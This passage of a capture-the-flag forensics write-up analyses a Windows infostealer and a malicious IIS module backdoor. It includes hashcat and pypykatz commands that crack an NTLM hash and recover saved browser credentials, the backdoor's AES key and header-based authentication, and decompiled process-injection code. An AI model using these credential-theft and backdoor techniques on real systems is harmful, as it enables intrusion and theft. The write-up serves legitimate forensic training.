The ?11? method is an asynchronous method used to exfiltrate the stolen key to the attacker’s server. The actual exfiltration logic is in the ?1? struct, which is the state machine for the asynchronous method. Analyzing the ?1? struct reveals the exfiltration URL.

To do this, I needed to check the MoveNext() method of the ?1? struct, which contains the actual logic of the asynchronous method. This means checking the async state machine for the ?11? method, since the ?11? method shown above is only the async/await wrapper generated by the decompiler (dnSpy in this case).

To view the async state machine, I had to disable the Decompile async methods (async/await) option in dnSpy settings: View -> Options -> Decompiler -> C# -> Uncheck Decompile async methods (async/await).

alt text

After that, I could see the actual code of the ?11? method without the async/await syntax. Analyzing the code revealed the exfiltration URL.

alt text

The same obfuscated strings are used in the code, so I decoded them using the same method as before.

alt text

This function compresses the file with gzip, then sends it to the attacker’s server using an HTTP POST request with the stolen key as the endpoint.

The answer is http://check.microsoftcloudservices.htb:8000/update/.

Task 8

What is the exfiltrated username:password?

The exfiltrated data is the Chromium AES master key, which is used to decrypt Chromium data such as cookies and saved passwords. To decrypt the data, I needed the encryption key.

First, I needed to get the GUID and SID for the m.thorne user.

alt text

  • GUID is 5915b1e9-8e5d-48dd-b7fd-65f3ace32780
  • SID is S-1-5-21-1291622023-1877101182-1066255875-1001

Next, I needed to recover the Windows password. Using the SAM and SYSTEM registry hives from the image, I used impacket to dump the password hashes.

linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Target system bootKey: 0xf848aa522b5e39907ca9dc63c160e859
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:0868e02e612c68e42092ed7435511bba:::
m.thorne:1001:aad3b435b51404eeaad3b435b51404ee:3716e9804c41b32fe09dcb2aa4c98071:::
[*] Cleaning up...

I used hashcat to crack the password hash of the m.thorne user.

linux@ANM-<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
 
OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-Intel(R) Core(TM) i7-14700, 2866/5733 MB (1024 MB allocatable), 28MCU
 
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
 
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
 
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
 
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
 
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
 
Host memory allocated for this attack: 519 MB (6768 MB free)
 
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
 
3716e9804c41b32fe09dcb2aa4c98071:BlueAngel25
 
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: 3716e9804c41b32fe09dcb2aa4c98071
Time.Started.....: Mon May 25 14:33:56 2026 (1 sec)
Time.Estimated...: Mon May 25 14:33:57 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 12384.3 kH/s (0.37ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 11382784/14344385 (79.35%)
Rejected.........: 0/11382784 (0.00%)
Restore.Point....: 11354112/14344385 (79.15%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: Bochito -> BORO28
 
Started: Mon May 25 14:33:55 2026
Stopped: Mon May 25 14:33:58 2026
linux@ANM-<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> hashcat -show hash.txt
The specified parameter cannot use 'how' as a value - must be a number.
 
linux@ANM-<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration [255]> hashcat -m 1000 hash.txt --show
3716e9804c41b32fe09dcb2aa4c98071:BlueAngel25

The password is BlueAngel25. I then used pypykatz with this password to retrieve the browser credentials.

linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> set mkf ffffbc8fe1f8c1b0-5915b1e9-8e5d-48dd-b7fd-65f3ace32780
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> set sid S-1-5-21-1291622023-1877101182-1066255875-1001
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> set pass BlueAngel25
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> pypykatz dpapi prekey password $sid $pass
da08b6ad5863d1d89acc076bef2721d73fe7f4c1
0981da863b062d2a5de530c5567a77d46c3eb923
4df02a86e99e3f09e9a67976bd88bac09cdfdfd6
e9609f8a17baa6bbcfd4fc9098570763cc0eb665
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> set prekey da08b6ad5863d1d89acc076bef2721d73fe7f4c1
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> pypykatz dpapi masterkey -o ./masterkey.json $mkf $prekey
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> pypykatz dpapi chrome --logindata "User Data/Default/ffffbc8fe30c00d0-Login Data" ./masterkey.json "User Data/ffffbc8fe30ba180-Local State"
file: User Data/Default/ffffbc8fe30c00d0-Login Data user: admin-03 pass: b'yiz9yzf3HAnhw49hRCtxXEtsL' url: http://dash.night-fall.htb:9080/

The answer is admin-03:yiz9yzf3HAnhw49hRCtxXEtsL.

Questions and Answers

TaskQuestionAnswer
1There is an installed service disguised as a Microsoft component. What is the full path of the executable?C:\Temp\Microsoft Cache\updater.exe
2The injector shadows an object into the HKCU registry. Using its CLSID, what is the name of the object?ADODB.Stream
3Following its self-duplication, the malware drops a secondary file onto the system. What is the filename of this secondary file?kathcjaz.quh
4What is the (C#) class name and the corresponding CLSID that is exposed to the COM API (Name:{GUID})?GrumpyFisherman:{b3ccd9d8-ffec-4de0-8005-185a6364cedb}
5What is the CLSID responsible for calling the .NET function that installs the malicious service?{0128ad20-af37-4421-851c-5c06de5c2b2c}
6One of the .NET code’s functions disables BitLocker protection. Which __WINDOWS_CLSID is responsible for that?{A7A63E5C-3877-4840-8727-C1EA9D7A4D50}
7What is the complete exfiltration URL without the key?http://check.microsoftcloudservices.htb:8000/update/
8What is the exfiltrated username:password?admin-03:yiz9yzf3HAnhw49hRCtxXEtsL

MITRE ATT&CK Mapping

Observed ActivityATT&CK TacticATT&CK Technique
Malicious Microsoft Update service installed from a temp pathPersistenceT1543.003 - Create or Modify System Process: Windows Service
HKCU CLSID shadowing used for COM hijackingPersistenceT1546.015 - Event Triggered Execution: Component Object Model Hijacking
.NET class exposed through COM APIExecutionT1559.001 - Inter-Process Communication: Component Object Model
Secondary payload dropped as kathcjaz.quhDefense EvasionT1027 - Obfuscated Files or Information
Browser process token stolen and reused for DPAPI accessDefense EvasionT1134.001 - Access Token Manipulation: Token Impersonation/Theft
Chromium master key and saved browser credential recoveredCredential AccessT1555.003 - Credentials from Password Stores: Credentials from Web Browsers
BitLocker protection disabled through FveUi COM interactionDefense EvasionT1562.001 - Impair Defenses: Disable or Modify Tools
Stolen data compressed and sent to the attacker’s HTTP endpointExfiltrationT1041 - Exfiltration Over C2 Channel

Open Wound

Description

TransitNode, a critical logistics provider, has suffered a severe security breach on their public-facing web server. Following suspicious activities tied to the Rust Faction proxy, the company enacted emergency measures and shut down primary services, replacing the main site with a basic maintenance notification. However, the disruption continued unabated, proving Gilded Weaver had already established a persistent backdoor deep within the infrastructure and was returning to exploit their trusted access. Network traffic was captured during this secondary assault, and a disk image of the compromised staging server was extracted. Task Force Nightfall needs you to investigate these artifacts, uncover how Directorate 9 maintained their hidden persistence, track their lateral movements during the return visit, and recover the critical routing data they targeted before the blackout triggers.

Walkthrough

Initial triage

The challenge provides a .pcap file and a disk image.

alt text

According to the description, the artifacts are a web server disk image and network traffic captured during the attack. The .pcap did not reveal much during the first pass; most of the traffic is TCP, with TLS accounting for the majority of the connections.

alt text

A public web server is a strong candidate for the initial entry point because it is exposed to the internet. The disk image contains an inetpub folder, which indicates that this is an IIS web server.

Knowing this is an IIS web server, I focused on the main IIS directories, such as inetpub and C:\Windows\System32\inetsrv.

Explanation - inetpub and inetsrv

inetpub is the default directory for hosting web content on an IIS web server. It typically contains subdirectories such as wwwroot where the website files are stored, and logs where the server logs are kept.

inetsrv is the directory that contains the core components and executables for the IIS web server. It includes files such as w3wp.exe, which is the worker process that handles web requests, and appcmd.exe, which is a command-line tool for managing IIS configurations.

IIS Web Server Analysis

The C:\inetpub\logs directory contains the IIS logs, which can provide valuable information about web server activity, including suspicious requests that may indicate an attack. These logs can help identify the attack vector and the actions taken by the attacker. However, most of the logs had already been deleted, so I did not find anything useful there.

Checking the configuration files in C:\Windows\System32\inetsrv\config can also provide insights into the web server’s setup and any potential misconfigurations that may have been exploited by the attacker. The applicationHost.config file is the main configuration file for IIS and contains settings for the web server, including security settings, authentication methods, and application pool configurations. Analyzing this file can help identify any weaknesses in the server’s configuration that may have been exploited.

The configuration shows that DefaultAppPool is running as LocalSystem, which is a highly privileged account. This is risky if the web application running in the application pool is vulnerable, because a successful exploit could give the attacker full control of the server.

alt text

I checked which sites were available on the IIS server.

alt text

There are three sites, but only one has serverAutoStart set to true: MyAspNetSite. The other two sites were not accessible. MyAspNetSite is just a normal notification page.

alt text

The web.config file for MyAspNetSite does not contain anything suspicious, so it was unlikely to be the entry point of the attack. To move forward, I continued with the applicationHost.config file.

In the <modules> section of applicationHost.config, there is a module called RewriterModule. It is not a default IIS module, and it appears to be a recently added third-party module.

<modules>
    <add name="HttpCacheModule" lockItem="true" />
    <add name="StaticCompressionModule" lockItem="true" />
    <add name="DefaultDocumentModule" lockItem="true" />
    <add name="DirectoryListingModule" lockItem="true" />
    <add name="IsapiFilterModule" lockItem="true" />
    <add name="ProtocolSupportModule" lockItem="true" />
    <add name="StaticFileModule" lockItem="true" />
    <add name="AnonymousAuthenticationModule" lockItem="true" />
    <add name="RequestFilteringModule" lockItem="true" />
    <add name="CustomErrorModule" lockItem="true" />
    <add name="IsapiModule" lockItem="true" />
    <add name="HttpLoggingModule" lockItem="true" />
    <add name="UrlRoutingModule-4.0" type="System.Web.Routing.UrlRoutingModule" preCondition="managedHandler,runtimeVersionv4.0" />
    <add name="ScriptModule-4.0" type="System.Web.Handlers.ScriptModule, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" preCondition="managedHandler,runtimeVersionv4.0" />
    <add name="OutputCache" type="System.Web.Caching.OutputCacheModule" preCondition="managedHandler" />
    <add name="Session" type="System.Web.SessionState.SessionStateModule" preCondition="managedHandler" />
    <add name="WindowsAuthentication" type="System.Web.Security.WindowsAuthenticationModule" preCondition="managedHandler" />
    <add name="FormsAuthentication" type="System.Web.Security.FormsAuthenticationModule" preCondition="managedHandler" />
    <add name="DefaultAuthentication" type="System.Web.Security.DefaultAuthenticationModule" preCondition="managedHandler" />
    <add name="RoleManager" type="System.Web.Security.RoleManagerModule" preCondition="managedHandler" />
    <add name="UrlAuthorization" type="System.Web.Security.UrlAuthorizationModule" preCondition="managedHandler" />
    <add name="FileAuthorization" type="System.Web.Security.FileAuthorizationModule" preCondition="managedHandler" />
    <add name="AnonymousIdentification" type="System.Web.Security.AnonymousIdentificationModule" preCondition="managedHandler" />
    <add name="Profile" type="System.Web.Profile.ProfileModule" preCondition="managedHandler" />
    <add name="UrlMappingsModule" type="System.Web.UrlMappingsModule" preCondition="managedHandler" />
        <add name="ConfigurationValidationModule" lockItem="true" />
        <add name="CgiModule" lockItem="true" />
        <add name="FastCgiModule" lockItem="true" />
        <add name="RewriterModule" preCondition="bitness64" />
</modules>

Uploading the module to VirusTotal showed that it was malicious.

alt text

RewriterModule Analysis

Using DiE to analyze RewriterModule.dll, I found that the module is written in C/C++.

alt text

I used dnSpy to analyze RewriterModule.dll.

According to Microsoft’s documentation, a native IIS module must implement the RegisterModule function.

I searched for the RegisterModule function in RewriterModule.dll.

alt text

internal unsafe static int RegisterModule(uint dwServerVersion, IHttpModuleRegistrationInfo* pModuleInfo, IHttpServer* pGlobalInfo)
	{
		<Module>.srand((uint)<Module>._time64(null));
		CMyHttpModuleFactory* ptr = <Module>.@new(8UL);
		CMyHttpModuleFactory* ptr2;
		if (ptr != null)
		{
			*(long*)ptr = ref <Module>.??_7CMyHttpModuleFactory@@6B@;
			ptr2 = ptr;
		}
		else
		{
			ptr2 = 0L;
		}
		<Module>.pFactory = ptr2;
		return calli(System.Int32 modopt(System.Runtime.CompilerServices.IsLong) modopt(System.Runtime.CompilerServices.CallConvCdecl)(System.IntPtr,IHttpModuleFactory*,System.UInt32 modopt(System.Runtime.CompilerServices.IsLong),System.UInt32 modopt(System.Runtime.CompilerServices.IsLong)), pModuleInfo, ptr2, 536870912, 0, *(*(long*)pModuleInfo + 16L));
	}

The RegisterModule function is the entry point that IIS calls when loading a native module. Its purpose is to register the module’s event handlers and inform IIS which request-processing notifications the module wants to receive.

The function first initializes a CMyHttpModuleFactory object and stores it in a global variable. This factory will later be used by IIS to create instances of CMyHttpModule whenever a request needs to be processed. The final operation performed by the function is an indirect virtual function call through the IHttpModuleRegistrationInfo interface using the calli instruction.

The arguments passed to this call are:

  • pModuleInfo: a pointer to the IHttpModuleRegistrationInfo interface
  • ptr2: a pointer to the newly created CMyHttpModuleFactory
  • 536870912 (0x20000000): the request notification flag
  • 0: no post-request notifications

The decompiler represents the target function as:

*(*(long*)pModuleInfo + 16L)

This expression retrieves a function pointer from the virtual function table (vtable) of the IHttpModuleRegistrationInfo object. Since each vtable entry occupies 8 bytes on x64 systems, offset 16 corresponds to the third virtual method in the interface.

Examining httpserv.h from the Windows SDK shows the method order for IHttpModuleRegistrationInfo:

alt text

class __declspec(uuid("07e5beb3-b798-459d-a98a-e6c485b2b3bc"))
IHttpModuleRegistrationInfo
{
public:
    virtual
    PCWSTR
    GetName(
        VOID
    ) const = 0;
 
    virtual
    HTTP_MODULE_ID
    GetId(
        VOID
    ) const = 0;
 
    virtual
    HRESULT
    SetRequestNotifications(
        _In_ IHttpModuleFactory * pModuleFactory,
        _In_ DWORD                dwRequestNotifications,
        _In_ DWORD                dwPostRequestNotifications
    ) = 0;
 
...

Because SetRequestNotifications() is the third virtual method in the interface, the call performed by the decompiled code can be reconstructed as:

pModuleInfo->SetRequestNotifications(
    ptr2,
    0x20000000,
    0
);

According to Microsoft’s documentation for IHttpModuleRegistrationInfo::SetRequestNotifications() and the request processing constants, the value 0x20000000 corresponds to RQ_SEND_RESPONSE. This notification is triggered whenever IIS is about to send an HTTP response back to the client. Therefore, the module is registering itself to receive response-processing events rather than request-begin events.

As a result, IIS will use CMyHttpModuleFactory to create instances of CMyHttpModule, and the module’s response-handling callbacks, such as OnSendResponse(), will be invoked whenever a response is sent. This allows the module to inspect, modify, or inject content into outgoing responses and effectively intercept the normal IIS response flow. Malicious functionality is implemented inside these callbacks, allowing the module to operate as a persistent IIS backdoor.

I continued with the analysis of the OnSendResponse() callback to understand how the module operates as a backdoor.

alt text

IHttpRequest* ptr =
    calli(..., pHttpContext,
          *(*(long*)pHttpContext + 24L));
 
IHttpResponse* ptr2 =
    calli(..., pHttpContext,
          *(*(long*)pHttpContext + 32L));

First, it retrieves the IHttpRequest and IHttpResponse interfaces from the IHttpContext object using virtual function calls. The offsets 24 and 32 correspond to the second and third virtual methods of the IHttpContext interface, which are GetRequest() and GetResponse(), respectively.

long num =
    calli(..., ptr3,
          *(*(long*)ptr3 + 64L));sbyte* ptr4 = ref <Module>.??_C@_04HCJEIHPL@POST?$AA@;
sbyte b = 80;
sbyte b2 = *num;
if (80 >= b2)
{
	while (b <= b2)
	{
		if (b != 0)
		{
			ptr4 += 1L;
			num += 1L;
			b = *ptr4;
			b2 = *num;
			if (b < b2)
			{
				break;
			}
		}
		else
		{

Then, it retrieves the HTTP method of the incoming request by calling a virtual method on the IHttpRequest interface. The offset 64 corresponds to the 13th virtual method, which is GetHttpMethod(). This method returns a pointer to the HTTP method string, such as GET or POST, and its length. The module compares the HTTP method to POST. If the method is POST, it continues with the backdoor functionality. Otherwise, it allows the request to be processed normally by IIS.

After verifying the request method, the module retrieves a custom HTTP header:

ushort num2 = 0;
 
sbyte* ptr5 =
    calli(
        ptr,
        ref <Module>.?A0xb54538f5.OxPCCSpUZW,
        ref num2,
        *(*(long*)ptr + 24L)
    );

This is a call to IHttpRequest::GetHeader(). Analysis of the string table shows that the obfuscated string ?A0xb54538f5.OxPCCSpUZW resolves to X-Auth-Token.

alt text

alt text

alt text

The received header value is copied into a C++ STL string. The code then creates another string using the embedded AES key and calculates the length of a second hardcoded string (<Module>.?A0xb54538f5.APkItmNss), which resolves to IoCreateDevice.

alt text

The malware encrypts this string using the embedded AES key and compares the result against the received X-Auth-Token value:

basic_string<char,std::char_traits<char>,std::allocator<char>> basic_string_1;
 
std::basic_string<char>::{ctor}(
    &basic_string_1,
    ptr5
);
 
sbyte* ptr6 = ref <Module>.?A0xb54538f5.APkItmNss;
 
if (<Module>.?A0xb54538f5.APkItmNss != null)
{
    do
    {
        ptr6 += 1L;
    }
    while (*ptr6 != 0);
}
 
sbyte* ptr7 =
    ptr6 - ref <Module>.?A0xb54538f5.APkItmNss;
 
basic_string<char,std::char_traits<char>,std::allocator<char>> basic_string_2;
 
basic_string<char>* strAesKeyValue =
    std::basic_string<char>::{ctor}(
        &basic_string_2,
        (sbyte*)(&<Module>.?A0xb54538f5.KEY)
    );
 
int size = ptr7;
 
basic_string<char,std::char_traits<char>,std::allocator<char>> basic_string_3;
 
EncryptData(
    &basic_string_3,
    strAesKeyValue,
    (void*)(&<Module>.?A0xb54538f5.APkItmNss),
    size
);
 
if (
    std::operator!=(
        basic_string_1,
        basic_string_3
    )
)
{
    std::basic_string<char>::{dtor}(
        &basic_string_3
    );
 
    std::basic_string<char>::{dtor}(
        &basic_string_1
    );
 
    return 0;
}
 
std::basic_string<char>::{dtor}(
    &basic_string_3
);

Thus the authentication mechanism of the backdoor is AES_encrypt("IoCreateDevice", key) == X-Auth-Token. If the authentication is successful, the module proceeds to execute the backdoor functionality. Otherwise, it allows the request to be processed normally by IIS.

After authentication succeeds, the malware retrieves a second HTTP header. If the header is missing, the request is discarded.

num2 = 0;
sbyte* ptr8 = calli(System.SByte modopt(System.Runtime.CompilerServices.IsSignUnspecifiedByte) modopt(System.Runtime.CompilerServices.IsConst)* modopt(System.Runtime.CompilerServices.CallConvCdecl)(System.IntPtr,System.SByte modopt(System.Runtime.CompilerServices.IsSignUnspecifiedByte) modopt(System.Runtime.CompilerServices.IsConst)*,System.UInt16*), ptr, ref <Module>.?A0xb54538f5.AedDmVkVgr, ref num2, *(*(long*)ptr + 24L));
if (ptr8 != null)
{
	goto IL_175;
}

?A0xb54538f5.AedDmVkVgr resolves to Cache-Control.

alt text

The rest of the code parses the value of the Cache-Control header and executes commands based on the parsed value.

alt text

Next, I needed to understand how the command is decrypted and executed, so I analyzed the EncryptData() and DecryptData() functions.

alt text

alt text

alt text

alt text

alt text

alt text

The DecryptData() function retrieves the encrypted data stored in the Cache-Control header, Base64-decodes it, and decrypts it using AES-256-CBC with the embedded key and static IV. The resulting buffer is interpreted as an ipc_package_header structure and passed to EventHandler(), which dispatches the command to the appropriate backdoor functionality and returns a response packet.

The response packet is then passed to EncryptData(), which encrypts the data using the same AES-256-CBC key and IV, Base64-encodes the resulting ciphertext, and returns it as a string. The encrypted response is subsequently written back to the Cache-Control HTTP response header, forming an encrypted command-and-control channel over HTTP headers.

The function uses AES-256-CBC for encryption. At this point, I had the AES key and IV.

  • The key is 3f4156487474704d6f64756c652e12
  • The IV is 000102030405060708090a0b0c0d0e0f

Decrypting the traffic

The .pcap file helped identify which IP addresses to focus on.

alt text

The IP addresses 192.168.91.174 and 192.168.91.1 are communicating with each other.

Here is a script to decrypt the traffic:

import asyncio
import base64
import pyshark
 
from Crypto.Cipher import AES
 
PCAP_FILE = "traffic.pcap"
 
CLIENT_IP = "192.168.91.1"
SERVER_IP = "192.168.91.174"
 
AES_KEY_RAW = bytes.fromhex(
    "3f4156487474704d6f64756c652e12"
)
 
KEY = AES_KEY_RAW + b"\x00" * (32 - len(AES_KEY_RAW))
IV = bytes.fromhex(
    "000102030405060708090a0b0c0d0e0f"
)
 
def decrypt_command(cache_control):
    try:
        if cache_control.startswith("private,"):
            cache_control = cache_control[len("private,"):].strip()
 
        enc = base64.b64decode(cache_control)
 
        cipher = AES.new(KEY, AES.MODE_CBC, IV)
        dec = cipher.decrypt(enc)
 
        cmd = dec[20:].decode(
            "utf-8",
            errors="ignore"
        ).rstrip("\x00")
 
        cmd = "".join(
            c for c in cmd
            if c.isprintable() or c in "\r\n\t"
        )
 
        if len(cmd.strip()) < 2:
            return None
 
        return cmd
 
    except:
        return None
 
 
def extract_ascii(data):
    chars = []
 
    for b in data:
        if 32 <= b <= 126:
            chars.append(chr(b))
        elif b in (9, 10, 13):
            chars.append(chr(b))
        else:
            chars.append(" ")
 
    txt = "".join(chars)
 
    while "  " in txt:
        txt = txt.replace("  ", " ")
 
    return txt.strip()
 
 
def decrypt_response(cache_control):
    try:
        if cache_control.startswith("private,"):
            cache_control = cache_control[len("private,"):].strip()
 
        enc = base64.b64decode(cache_control)
 
        cipher = AES.new(KEY, AES.MODE_CBC, IV)
        dec = cipher.decrypt(enc)
 
        txt = extract_ascii(dec)
 
        if len(txt.strip()) < 2:
            return None
 
        return txt
 
    except:
        return None
 
 
asyncio.set_event_loop(asyncio.new_event_loop())
 
cap = pyshark.FileCapture(
    PCAP_FILE,
    display_filter="http"
)
 
req_count = 0
resp_count = 0
 
for pkt in cap:
    try:
        if not hasattr(pkt, "http"):
            continue
 
        src = pkt.ip.src
        dst = pkt.ip.dst
 
        cache_control = pkt.http.get_field_value(
            "cache_control"
        )
 
        if not cache_control:
            continue
 
        if (
            src == CLIENT_IP
            and dst == SERVER_IP
            and hasattr(pkt.http, "request_method")
        ):
            cmd = decrypt_command(cache_control)
 
            if cmd:
                req_count += 1
 
                print("\n" + "=" * 80)
                print(f"[COMMAND #{req_count}]")
                print("=" * 80)
                print(cmd)
 
        elif (
            src == SERVER_IP
            and dst == CLIENT_IP
            and hasattr(pkt.http, "response")
        ):
            resp = decrypt_response(cache_control)
 
            if resp:
                resp_count += 1
 
                print("\n" + "-" * 80)
                print(f"[RESPONSE #{resp_count}]")
                print("-" * 80)
                print(resp)
 
    except Exception:
        pass
 
cap.close()

alt text

At this point, I had the commands executed by the attacker and the responses from the server.

The first few commands are reconnaissance commands used to gather information about the system: qwinsta, Get-Service, Get-WebConfiguration -Filter "system.applicationHost/sites/site" -PSPath IIS:\, Get-WebGlobalModule, ls C:\Users\Administrator\Desktop, and ls C:\Users\Administrator\Documents.

While listing the files in Documents, the attacker saw a file called StyleNet_Retail_Network_Design.docx encrypted with gpg. The attacker then tried to decrypt it but failed because the key belonged to Administrator.

alt text

They proceeded to save the registry hives and zip them for exfiltration. The archive included SYSTEM, SAM, and SECURITY, likely to retrieve the Administrator credentials. The files were uploaded to https://uguu.se/upload.

The attacker then created iisupdate.zip in %TEMP% and wrote data to it in 4096-byte chunks.

alt text

The file was then extracted into three files: Admin.ps1, phant0m.exe, and Scdaemon.dll.

alt text

phant0m.exe is an event log killer.

Admin.ps1 is a script used by the attacker to create a scheduled task, run the file with Administrator privileges, and execute it.

alt text

Knowing how iisupdate.zip was created, I could reconstruct the file and extract the three files inside.

import asyncio
import base64
import os
import struct
 
import pyshark
from Crypto.Cipher import AES
 
asyncio.set_event_loop(asyncio.new_event_loop())
 
KEY = bytes.fromhex(
    "3f4156487474704d6f64756c652e12"
).ljust(32, b"\x00")
 
IV = bytes(range(16))
 
os.makedirs("recovered", exist_ok=True)
 
 
def u32(buf, off):
    return struct.unpack_from("<I", buf, off)[0]
 
 
def decrypt(value):
    if value.startswith("private,"):
        value = value[8:].strip()
 
    return AES.new(
        KEY,
        AES.MODE_CBC,
        IV
    ).decrypt(base64.b64decode(value))
 
 
cap = pyshark.FileCapture(
    "traffic.pcap",
    display_filter="http.request"
)
 
for pkt in cap:
    try:
        if pkt.ip.src != "192.168.91.1":
            continue
 
        cc = pkt.http.get_field_value("cache_control")
        if not cc:
            continue
 
        dec = decrypt(cc)
 
        if u32(dec, 0) != 7:
            continue
 
        offset = u32(dec, 12)
        size = u32(dec, 16)
        path_len = u32(dec, 20)
 
        filename = dec[
            24:24 + path_len - 1
        ].decode(errors="ignore")
 
        chunk = dec[
            24 + path_len:
            24 + path_len + size
        ]
 
        outfile = os.path.join(
            "recovered",
            os.path.basename(filename)
        )
 
        with open(
            outfile,
            "r+b" if os.path.exists(outfile) else "wb"
        ) as f:
            f.seek(offset)
            f.write(chunk)
 
    except:
        pass
 
cap.close()

alt text

Decrypting Admin.ps1 shows that the script calls the C2 server on port 4444 to run PowerShell. This explains why some traffic on port 4444 is unencrypted. Using the .pcap, I continued to analyze the traffic.

alt text

alt text

After escalating privileges, the attacker decrypted StyleNet_Retail_Network_Design.docx, copied the decrypted file to %TEMP%, and exfiltrated it to https://uguu.se/upload.

alt text

alt text

Finally, the attacker deleted traces of the compromise.

Decrypting the document

First, I needed to get the GPG key from the Administrator account. It is located in %APPDATA%\gnupg.

alt text

I copied this directory to a VM with GPG installed and extracted the key:

PS C:\WINDOWS\System32> gpg --list-secret-keys
[keyboxd]
---------
sec   rsa2048 2025-04-09 [SC] [expires: 2028-04-09]
      3CD8AA99D88BFD5232C2821EA208D2CB2DBE2890
uid           [ultimate] Administrator
ssb   rsa2048 2025-04-09 [E] [expires: 2028-04-09]
      E54E985E3B20E92D4D09ACC58D0278CD85D41887

Then I used the key to decrypt the document.

alt text

The first part of the flag appears in the decrypted document: HTB{D1rty_IIS_n4t1v

Scdaemon.dll analysis

Digging through the remaining traffic did not reveal the second part of the flag. Since I already knew the contents of Admin.ps1 and phant0m.exe from iisupdate.zip, the only file left to analyze was Scdaemon.dll.

alt text

It is written in C, so I used IDA to analyze the file.

void __noreturn sub_180001070()
{
  void *lpBaseAddress; // [rsp+50h] [rbp-568h]
  struct _PROCESS_INFORMATION ProcessInformation; // [rsp+58h] [rbp-560h] BYREF
  struct _STARTUPINFOA StartupInfo; // [rsp+70h] [rbp-548h] BYREF
  struct _CONTEXT Context; // [rsp+E0h] [rbp-4D8h] BYREF
 
  sub_180001000(&StartupInfo, 104);
  StartupInfo.cb = 104;
  if ( (unsigned int)sub_1800011F0() )
  {
    if ( CreateProcessA(
           nullptr,
           CommandLine,
           nullptr,
           nullptr,
           1,
           0x44u,
           nullptr,
           nullptr,
           &StartupInfo,
           &ProcessInformation) )
    {
      Context.ContextFlags = 1048579;
      GetThreadContext(ProcessInformation.hThread, &Context);
      lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, nullptr, 0x1000u, 0x1000u, 0x40u);
      WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, &unk_180003000, 0x1000u, nullptr);
      Context.Rip = (DWORD64)lpBaseAddress;
      SetThreadContext(ProcessInformation.hThread, &Context);
      ResumeThread(ProcessInformation.hThread);
      CloseHandle(ProcessInformation.hThread);
      CloseHandle(ProcessInformation.hProcess);
    }
  }
  ExitThread(0);
}

This function creates a new process in a suspended state, allocates memory in the target process, writes shellcode to the allocated memory, sets the instruction pointer to the shellcode address, and resumes the thread to execute the shellcode. This is process injection through thread context manipulation rather than classic process hollowing, because the code does not unmap the original image. The shellcode is located at unk_180003000 and has a size of 0x1000 bytes.

import pefile
 
PE_PATH = "./recovered/Scdaemon.dll"
TARGET_VA = 0x180003000
SIZE = 0x1000
 
pe = pefile.PE(PE_PATH)
 
image_base = pe.OPTIONAL_HEADER.ImageBase
 
 
for section in pe.sections:
    sec_start = image_base + section.VirtualAddress
    sec_end = sec_start + section.Misc_VirtualSize
 
    if sec_start <= TARGET_VA < sec_end:
        offset = section.PointerToRawData + (TARGET_VA - sec_start)
 
        with open(PE_PATH, "rb") as f:
            f.seek(offset)
            shellcode = f.read(SIZE)
 
        break
 
 
with open("shellcode.bin", "wb") as f:
    f.write(shellcode)

After using Capstone and emulating the shellcode with speakeasy, I got the second part of the flag:

(speakeasy_env) PS C:\Users\quannd28\Downloads\HTb> speakeasy -a x64 -r -t shellcode.bin
C:\Users\quannd28\Downloads\HTb\speakeasy_env\lib\site-packages\unicorn\unicorn.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
